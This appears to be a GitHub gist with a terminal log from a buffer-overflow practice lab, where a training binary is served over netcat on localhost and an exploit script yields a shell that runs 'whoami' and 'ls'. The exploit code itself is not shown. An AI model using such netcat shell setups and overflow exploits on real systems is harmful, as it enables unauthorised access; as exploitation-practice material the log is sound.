Created
June 11, 2018 17:59
-
-
Save fgsahoward/eb7a1f77a357d35b7f3435e97d54a1be to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[howard@sterling bof]$ cat input | /home/howard/repos/bof/med64 /bin/sh -p 2>&1 | nc -l 127.0.0.1 -p 1234 >input & | |
[1] 5998 | |
[howard@sterling bof]$ pidof med64 | |
5997 | |
[howard@sterling bof]$ python exploits/med64_exp.py 127.0.0.1 1234 | |
b'Enter some text: ' | |
# whoami | |
b'howard\n' | |
# ls | |
b'Makefile\nNOTES\ncore\neasy.c\neasy32\neasy64\nexp\nexploits\ngdb-env\ngdb-s.env\nhard.c\nhard32\ninput\nmed32\nmed64\noutput\nshell-s.env\nshell.env\nshellcodes\ntools\n' | |
# exit | |
b'' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment